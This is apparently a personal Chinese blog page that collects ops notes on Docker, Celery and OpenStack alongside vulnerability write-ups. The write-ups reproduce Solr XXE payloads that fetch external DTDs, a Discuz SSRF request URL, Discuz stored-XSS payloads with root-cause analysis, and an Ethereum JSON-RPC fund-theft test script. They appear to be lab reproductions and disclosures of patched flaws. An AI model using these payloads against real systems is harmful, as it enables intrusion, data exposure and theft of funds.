leveryd个人博客


  • 首页

  • 归档

  • 关于

docker开发时踩过的坑

发表于 2019-09-17

本文记录在使用docker做开发时踩过的一些坑,包括docker本身的和在docker中使用其他工具的坑。

  1. 镜像层数存在限制
    暂时使用`docker export | import`重新制作新的镜像来解决
    
  2. CMD和ENTRYPOINT区别

    报错:docker run -ti ethereum/client-go /bin/sh
    正确:docker run -ti --entrypoint=/bin/sh ethereum/client-go
    
  3. pull不到最新的镜像 (超级坑,似乎是镜像层数到了一定数量,就会这样)

    • digest值不一样是肯定的
    • docker export | import 就解决了
    • 原因还未知,不能复现
  4. CMD指令报错

    Dockerfile如下:
    
      FROM busybox
      CMD ["/bin/ls /"]
    
    运行时报如下错误
    
    docker: Error response from daemon: OCI runtime create failed: container_linux.go:345: starting container process caused "exec: \"/bin/ls /\": stat /bin/ls /: no such file or directory": unknown.
    
    原因是CMD使用错误,CMD应该为数组`CMD ["/bin/ls","/"]`
    
  5. /etc/hosts文件不能覆盖,在dockerfile中无法写入

    Dockerfile如下,无法修改/etc/hosts文件
    FROM busybox
    RUN echo > /etc/hosts
    
  6. 内网docker registry login报503错误

    原因未知,隔一段时间后再次登陆成功。可能是服务问题
    
  7. 脚本在拉取私有仓库时,pull镜像提示找不到

    [root@x ~]# docker pull internal.docker.registry/xxx/yyy:latest
    Pulling repository internal.docker.registry/xxx/yyy
    Error: image xxx/yyy:latest not found
    
    原因:
    未登录,坑爹的是私服响应中没有任何提示未登录
    解决:
    在脚本中每一次pull前docker login
    
  8. cache

    Dockerfile如下
    
      FROM xxx
      pip install --upgrade y
      ...
      CMD ["xxx.sh"]
    
    因为缓存的原因,y依赖包并没有升级
    
    解决办法:将镜像制作分为两部分,不需要缓存的build时添加--no-cache参数。参考1
    
    一行cache改变,接下来的指令都不会缓存
    
  9. pipenv无法安装私有仓库的库

    私有仓库因为没有证书,所以没有走https。pip安装的时候可以使用trust-host来使用http协议安装软件,但是pipenv命令行中没有找到类似trust-host的参数。
    
    这个问题属于pipenv的使用问题,只是因为在Dockerfile中用到了pipenv,也就记在这里了。
    
    解决办法:在配置中使用verify_ssl参数,示例配置如下
    
    [[source]]
    url = "https://pypi.python.org/simple"
    verify_ssl = true
    name = "pypi"
    
    [[source]]
    url = "http://pypi.home.kennethreitz.org/simple"
    verify_ssl = false
    name = "home"
    
  10. 容器运行一段时间后根目录只读

    现象:
    https://github.com/moby/moby/issues/18010
    
    应用层奇怪的bug和这个有关,比如代理无法正常工作,是因为没有空间创建证书了。
    
    原因:
    内核重新挂载文件系统 grep -B10 "read-only" /var/log/messages.
    重新挂载的原因好像是磁盘不够了
    
    解决办法:
    删除磁盘中的多余文件,腾出空间
    
  11. docker中python程序日志没有实时输出

    现象:
      docker log没有看到python打印的日志,过了一段时间后才能看到
    原因:
      存在输出缓冲区
    解决方法:
    * python -u <script> 禁止python的缓冲区
    

参考

  1. Bust cache bust within Dockerfile without providing external build args

Celery的坑

发表于 2019-07-07

Celery pool选用prefork时多进程+协程的坑

坑一:节点和Broker断联

背景:
Celery默认使用多进程提高并发,因为task中多是发送Http请求,所以我采用gevent来提高并发。

代码片段如下:

1
2
3
4
5
6
7
8
from gevent import monkey
monkey.patch_all()

@app.task
def poc_call(jsondata):
...
业务代码
...

现象:
Broker选的是Rabbitmq,打了monkey补丁后,运行一段时间后,在RabbitMQ Management管理页面中查看consumer,发现已经没有Celery节点信息。

原因:
猜测原因gevent monkey补丁改变socket库,进而导致基于socket的kombu库异常

验证:

  1. 注释掉monkey补丁,没有观察到broker断联的情况
    1
    2
    3
    4
    5
    6
    7
    8
    from gevent import monkey
    # monkey.patch_all()

    @app.task
    def poc_call(jsondata):
    ...
    业务代码
    ...

解决方案:

  1. 在task中创建子进程,在子进程中使用gevent
    1
    2
    3
    4
    5
    6
    7
    from billiard.context import Process

    @app.task
    def poc_call(json_data):
    p = Process(target=_poc_call, args=(json_data,))
    p.start()
    p.join()

需要注意的是开启新进程时,如果使用multiprocess库,会报错

1
2
3
4
5
File "/data/poc-worker/tasks.py", line 336, in poc_call
p.start()
File "/usr/lib/python2.7/multiprocessing/process.py", line 124, in start
'daemonic processes are not allowed to have children'
AssertionError: daemonic processes are not allowed to have children

这个问题的解决办法:
可以使用billiard库,from billiard.context import Process

Solr漏洞分析(一).md

发表于 2019-03-03

环境搭建

  • 源码版本: lucene-solr-releases-lucene-solr-6.0.0
  • IDE: IDEA
  • 系统: OSX

    Ant工具

  • Mac安装Ant

    1
    brew install ant
  • Ant编译Solr

    1
    2
    3
    4
    5
    6
    7
    ant idea  # 将solr源码编译成intellij idea的项目
    ant ivy-bootstrap

    cd solr
    ant server # 创建solr server

    ant使用的配置文件一般是build.xml

调试

进入lucene-solr\solr\bin文件夹中,运行solr start -p 8988 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988"

IDEA中配置-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8988

漏洞复现

只复现两个XXE漏洞

CVE-2017-12629

1
2
3
4
solr create -c test  # 创建核心test

payload:
http://localhost:8988/solr/test/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed"><a></a>'}

Solr DIH dataConfig参数XXE漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
solr create -c test  # 创建核心test

payload请求:
POST /solr/test/dataimport?_=1551604400819&indent=on&wt=json HTTP/1.1
Host: 127.0.0.1:8988
Pragma: no-cache
Origin: http://127.0.0.1:8988
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: application/json, text/plain, */*
Cache-Control: no-cache
Referer: http://127.0.0.1:8988/solr/
Connection: close
Content-Length: 269

command=full-import&verbose=false&clean=true&commit=true&optimize=false&core=test&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:8082%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E

遇到的问题

  1. 没有DataImport功能,界面中报错Sorry, no dataimport-handler defined!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    参考
    http://blog.sina.com.cn/s/blog_4ada05f50102wmkm.html

    https://stackoverflow.com/questions/13913915/org-apache-solr-common-solrexception-error-loading-class-org-apache-solr-handl

    一句话就是需要在核心test的配置文件添加配置,文件配置路径:solr/server/solr/test/conf/solrconfig.xml

    添加如下:
    <requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
    <lst name="defaults">
    <str name="config">db-data-config.xml</str>
    </lst>
    </requestHandler>

    添加后会遇到两个新的问题
    1. db-data-config.xml找不到
    解决办法:find lucene-solr-releases-lucene-solr-6.0.0 -name "db-data-config.xml"找到配置文件后,copy过去
    2. org.apache.solr.handler.dataimport.DataImportHandler这个类找不到
    解决办法:参考链接,solrconfig.xml配置文件中添加lib包 <lib dir="${solr.install.dir:../../../..}/dist/" regex=".*dataimporthandler-.*\.jar" />
  2. IDEA不支持类的定义的跳转,can not resolve symbol

    1
    2
    3
    1. File->Invalidate Cache

    设置jdk版本为低版本
  3. 不能在DocumentBuilderFactory下断点

    1
    IDEA可以在任意异常处下断点,也很容易找到漏洞触发位置
  4. 从关键字往回倒时怎么挖?(漏洞作者怎么挖的)

    1
    调CoreParser类的parse函数的地方太多了
  5. Solr到底是个什么鬼?

    1
    参考 https://www.cnblogs.com/leeSmall/category/1210814.html

参考

  • 敏信审计系列之Apache-solr框架
  • 用Intellij idea搭建solr调试环境
  • Solr XXE & RCE 详细分析(附新的payload)—【CVE-2017-12629】
  • Solr DIH dataConfig参数XXE漏洞
  • Solr系列介绍

openstack单节点环境搭建

发表于 2019-02-02

本文记录在安装openstack单节点环境时踩过的一些坑

搭建环境

搭建方式

因为kolla比DevStack等方式要新一些,故最终选用kolla来安装。而kolla又分下面两种

  • kolla-kubernetes (不如ansible成熟)
  • kolla-ansible

只是入门,就选择使用单点部署

系统环境

ubuntu 14.04 安装测试

步骤

主要根据参考中的官方文档来搭的环境,需要注意的是,kolla-ansible和kolla两个项目切到origin/stable/queens等稳定版本

根据文档安装完成后,可以登陆Horizon dashboard、访问nova等api接口,但是创建虚机还是会报错,留作后面再排错。

遇到的问题

  1. build image卡住没有进度

    1
    2
    3
    解决方法:添加docker源
    /etc/docker/daemon.json
    {"registry-mirrors": ["https://a5aghnme.mirror.aliyuncs.com"]}
  2. 报错

    1
    ERROR:kolla.common.utils.base:The command '/bin/sh -c yum -y install centos-release-ceph-luminous centos-release-opstools centos-release-qemu-ev epel-release yum-plugin-priorities && yum clean all && rm -rf /var/cache/yum' returned a non-zero code: 1
  3. docker-engine和docker.io冲突

    1
    2
    解决方法:卸载docker.io
    yum remove docker.io docker-common
  4. 找不到镜像

    1
    2
    3
    4
    5
    6
    Tag 7.0.0 not found in repository docker.io/kolla/centos-binary-cron

    解决方法:修改globals.yml中的配置指定tag

    Dockerhub images are tagged as pike, master, etc. Please set:
    openstack_release: "pike" in your globals.yml
  5. 报错

    1
    2
    3
    4
    Error starting daemon: error initializing graphdriver: \"/var/lib/docker\" contains several valid graphdrivers: devicemapper, overlay; Please cleanup or explicitly choose storage driver (-s <DRIVER>)
    到/var/lib/docker根据情况,将下面的overlay或者devicemapper文件夹删掉即可。这种情况发生在使用采用dc/os安装后,原有的devicemapper模式修改成了overlay,但是docker同时只能支持一种存储模式。

    不能删除/var/lib/docker/devicemapper 提示device busy时,可以umount /var/lib/docker/devicemapper后再删除
  6. Kolla-build: command not found

    1
    pip install ./kolla
  7. 报错

    1
    https://packagecloud.io/grafana/stable/el/7/x86_64/repodata/repomd.xml: [Errno 14] HTTPS Error 302 - Found
  8. docker python库报错

    1
    2
    3
    4
    load_config() got an unexpected keyword argument

    解决方法:不要按照官方文档安装python-docker-py
    pip install 'docker>=2.6,<3.0.0'
  9. 报错

    1
    2
    3
    4
    5
    6
    pip install ./kolla时报错
    Failed to fetch https://packagecloud.io/rabbitmq/rabbitmq-server/ubuntu/dists/xenial/InRelease Unable to connect to packagecloud-repositories.s3.dualstack.us-west-1.amazonaws.com:https:
    INFO:kolla.common.utils.zookeeper:W: Some index files failed to download. They have been ignored, or old ones used instead.

    解决办法:
    pip install ./kolla --ignore-installed PyYAML
  10. pip依赖不能重装

    1
    Cannot uninstall 'PyYAML'. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.
  11. 部署中报错

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    问题:
    The conditional check 'config_json.changed | bool or rabbitmq_confs.changed

    解决办法:kolla和kolla-ansible 都切到stable版本

    问题:
    fatal: [localhost]: FAILED! => {"msg": "Unable to look up a name or access an attribute in template string ({{ inventory_hostname in groups['neutron-metering-agent'] }}).\nMake sure your variable name does not contain invalid characters like '-': argument of type 'StrictUndefined' is not iterable"}

    解决办法:
    直接禁用haproxy

    问题:
    failed: [localhost] (item=/usr/share/kolla-ansible/ansible/roles/haproxy/templates/haproxy.cfg.j2) => {"changed": false, "item": "/usr/share/kolla-ansible/ansible/roles/haproxy/templates/haproxy.cfg.j2", "msg": "AnsibleUndefinedVariable: 'dict object' has no attribute 'glance-registry'"}

    解决办法:直接禁用haproxy
    enable_haproxy: "no"

    问题:
    rabbitmq_monitoring_password' is undefined"

    问题:
    .docker.io/v2/: dial tcp: lookup registry-1.docker.io on 192.168.0.2:53: read udp 192.168.0.10:48758->192.168.0.2:53: i/o timeout\")\\n'"}

    解决办法:
    修改/etc/hosts添加dns服务器:nameserver 8.8.8.8

    问题:
    只有一张物理网卡

    解决办法:
    ifconfig创建一个虚拟网卡
    ifconfig eth0:0 192.168.10.10 up

    问题:
    docker需要认证

    解决办法:
    docker login命令先登陆

    问题:
    TASK [neutron : Running Neutron bootstrap container] *************************** 卡住了
  12. 部署前检查报错

    1
    fatal: [localhost]: FAILED! => {"changed": false, "cmd": ["ip", "-4", "-o", "addr", "show", "dev", "eth0"], "delta": "0:00:00.043125", "end": "2019-01-10 13:48:41.975511", "failed_when_result": true, "rc": 0, "start": "2019-01-10 13:48:41.932386", "stderr": "", "stderr_lines": [], "stdout": "2: eth0    inet 192.168.16.88/20 brd 192.168.31.255 scope global noprefixroute eth0\\       valid_lft forever preferred_lft forever", "stdout_lines": ["2: eth0    inet 192.168.16.88/20 brd 192.168.31.255 scope global noprefixroute eth0\\       valid_lft forever preferred_lft forever"]}
  13. 登陆dabashboard提示证书不可用

    1
    2
    3
    原因:账号密码不正确

    账号默认是admin,密码在cat /etc/kolla/passwords.yml|grep -i keystone_admin

tips

  1. kolla-ansible和kolla项目切到稳定分支
  2. 如果在virtualbox中安装时,centos7镜像选择minimal。dvd版 4G+太大了
  3. 没有双网卡可以使用ifconfig虚拟一张网卡

参考

Kolla 让 OpenStack 部署更贴心

Docker 容器化部署运维 OpenStack 和 Ceph

官方文档

以太坊rpc接口盗币漏洞学习笔记

发表于 2019-01-05

概述

关于漏洞是什么,可以阅读参考中的金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘。

因为不清楚最新的以太坊程序是否已不存在此问题,所以对这个安全漏洞做了一次本地环境的测试。

环境搭建

搭建私链

根据参考中的的如何搭建以太坊私有链,基本没坑地在本地起了一个以太坊节点。

自己一开始使用–testnet参数,却好像因为不能同步测试网络的原因,区块链高度(eth.blockNumber)一直是0。最终就没在测试网络复现了。

如果不是mac,可以在geth容器里操作,后面的步骤还是参考如何搭建以太坊私有链。

进入geth容器命令行:

docker run -ti --name ethereum-node --entrypoint="/bin/sh" -v /mnt/files/myethereum:/root -p 8546:8545 -p 30303:30303 ethereum/client-go

需要注意的地方:

  1. 使用geth –datadir data0 –networkid 1108 –rpcaddr 0.0.0.0 –rpc –rpccorsdomain ““ –rpcapi “web3,eth” –rpcvhosts= console开放rpc端口
  2. 使用容器搭建环境,需要指定–entrypoint来进容器里

测试代码

需要安装python3

1
2
3
4
5
6
7
8
9
10
# coding:utf-8
from web3 import Web3, HTTPProvider
import time
web3 = Web3(HTTPProvider('http://localhost:8545'))
eth = web3.eth
print(web3.eth.blockNumber)
# print(web3.eth.accounts)
print(eth.getBalance(eth.accounts[0]))
print(eth.getBalance(eth.accounts[1]))
web3.eth.sendTransaction({'to': eth.accounts[1], 'from': eth.accounts[0], 'value': 12345})

实验步骤

  1. 新建两个账号
  2. 给账号一挖矿,拿钱
  3. 模拟攻击者调rpc接口偷账号一的钱到账户二 (没有解锁用户时)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ➜  /tmp python3 转账测试.py
    1539
    7694999999999994741030
    5258970
    Traceback (most recent call last):
    File "转账测试.py", line 15, in <module>
    web3.eth.sendTransaction({'to': eth.accounts[1], 'from': eth.accounts[0], 'value': 12345})
    File "/usr/local/lib/python3.7/site-packages/web3/eth.py", line 268, in sendTransaction
    [transaction],
    File "/usr/local/lib/python3.7/site-packages/web3/manager.py", line 112, in request_blocking
    raise ValueError(response["error"])
    ValueError: {'code': -32000, 'message': 'authentication needed: password or unlock'}
  4. 模拟攻击者调rpc接口偷账号一的钱到账户二 (解锁用户时)

    1
    2
    personal.unlockAccount(eth.accounts[0])   解锁时间默认为300秒
    再运行python3 转账测试.py,此时交易就被提交上去了
  5. 如此重复调用转账测试.py,区块链高度不断增加,账户一的余额越来越少

总结

  1. 这个解锁用户后一段时间内无需密码是个功能,最新版的以太坊程序一样存在。
  2. 不太清楚真实世界里,unlockAccount是怎么发生的。

参考

金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘
如何搭建以太坊私有链
基于Docker的以太坊开发环境搭建

Disucz ssrf一处

发表于 2017-11-01

之前提交到某平台的漏洞,现在已经修复

漏洞证明

  1. 前提条件
    用户可以发帖
  2. 复现步骤
    发表帖子后,访问如下链接:
    1
    forum.php?mod=ajax&action=setthreadcover&inajax=1&fid=2&wysiwyg=1&imgurl=ftp://127.0.0.1:8089&tid=26815&pid=1

其中的imgurl是ssrf探测的地址,另外需要将tid修改为自己发表的帖子的tid值.这个值在chrome浏览器前端中搜索tid可以找到.

漏洞分析

漏洞触发的代码在source/module/forum/forum_ajax.phpforum_ajax.php文件大约211行处,调用了setthreadcover函数.

函数会根据第五个参数imgurl发起网络请求,此处imgurl刚好可控.

最终在source/class/class_image.php的init函数中发起请求

挖这个洞的思路

  1. 思路比较简单,在这个source/class/class_image.php中看到init函数发起网络请求,向上找调用init函数的地方挖掘漏洞.

Disucz正文存储型XSS(2)

发表于 2017-10-30

之前提交到某平台的漏洞,现在已经修复

漏洞证明

2017.9月份在3.3,3.4最新版测试通过

前提条件:

  1. 用户组允许使用media标签
  2. 非PC端用户(程序会判断UA)

复现步骤:
0x1. 可以使用media标签的用户发表一篇文章
文章内容为

1
[media=mp3,200,300]http://www.tudou.com/programs/view/a' onload=alert(1) onerror=alert(1)[/media]

0x2. 使用手机,或者使用UA修改工具,修改成移动端头部
0x3. 浏览刚发过的帖子,视频加载完毕后,执行onload事件,会弹窗.

漏洞分析

1
<span id="flv_dWh"></span><script type="text/javascript" reload="1">$('flv_dWh').innerHTML=(mobileplayer() ? "<iframe height='300' width='200' src='http://www.tudou.com/programs/view/html5embed.action?code=a\\\' onload=alert(1) onerror=alert(1)' frameborder=0 allowfullscreen></iframe>" : AC_FL_RunContent('width', '200', 'height', '300', 'allowNetworking', 'internal', 'allowScriptAccess', 'never', 'src', 'http://www.tudou.com/v/a\\\' onload=alert(1) onerror=alert(1)', 'quality', 'high', 'bgcolor', '#ffffff', 'wmode', 'transparent', 'allowfullscreen', 'true'));</script></td></tr></table>

前端页面中有这么一段代码,非PC时,mobileplayer()=true.
简化下上面的代码,如下:

1
$('flv_dWh').innerHTML="<iframe src='http://www.tudou.com/programs/view/html5embed.action?code=a\\\' onload=alert(1)"

其中虽然src属性单引号看似没有闭合,但是实际上浏览器解析时已经闭合了,于是就引入了一个onload属性。

至于后端的代码,在source/function/function_discuzcode.php文件的parseflv函数中下断点可以调试漏洞,这里就不详细说明。

漏洞总结

src='<?php addslashes("可控内容")?>'
这样是不能防XSS的,用下面这样的代码是可以弹框的。
<img src='x\' onerror=alert(1)//'>

Discuz存储型XSS(1)

发表于 2017-10-11

之前提交到某平台的漏洞,现在已经修复

漏洞证明

  1. 漏洞需要开启后台四方格功能
  2. 发表新帖子,在帖子标题中设置为payload
    &#x003c;img src=1 onerror=alert(1)&#x003e;
  3. 然后在首页鼠标放在帖子准备点击我们刚才的发表的帖子时,触发onmouseover事件,执行我们的代码。

    漏洞分析

    鼠标放在帖子上准备点击时,触发onmouseover事件。onmouseover事件中调用的showTip函数最终调用到了_showTip函数

_showTip函数中使用getAtrribute取了tip属性值,然后又放入innerHTML。
重点是getAtrribute函数获取属性值时会自动解码实体编码后的值,这样&#x003c;img src=1 onerror=alert(1)&#x003e;就变成<img src=1 onerror=alert(1)>。

另外此漏洞中的payload只能用
&#x003c;img src=1 onerror=alert(1)&#x003e;
而不能用
&#x3c;img src=1 onerror=alert(1)&#x3e;
这是由于Discuz中dhtmlspecialchars函数实现问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function dhtmlspecialchars($string, $flags = null) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val, $flags);
}
} else {
if($flags === null) {
$string = str_replace(array('&', '"', '<', '>'), array('&amp;', '&quot;', '&lt;', '&gt;'), $string);
if(strpos($string, '&amp;#') !== false) {
$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
} //在这一行又将 &amp; 解码成 &,导致htmlspecailchars和php中的htmlspecailchars函数差异
} else {
if(PHP_VERSION < '5.4.0') {
$string = htmlspecialchars($string, $flags);
} else {
if(strtolower(CHARSET) == 'utf-8') {
$charset = 'UTF-8';
} else {
$charset = 'ISO-8859-1';
}
$string = htmlspecialchars($string, $flags, $charset);
}
}
}
return $string;
}

这个差异可以这么解释

1
2
htmlspecialchars(htmlspecialchars("&#x003c;")); 值是"&amp;amp;#x003c;"
dhtmlspecialchars(dhtmlspecialchars("&#x003c;")); 值是"&#x003c;"

而上面tip属性值就是两次dhtmlspecialchars了标题的值,输入存到数据库一次,输出时一次。

1
tip=dhtmlspecialchars(dhtmlspecialchars(标题));

漏洞总结

  1. dhtmlspecialchars函数和实际的htmlspecialchars函数有差异
  2. getAttribute函数会将属性值解码

leveryd

8 日志
2 标签
© 2020 leveryd
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4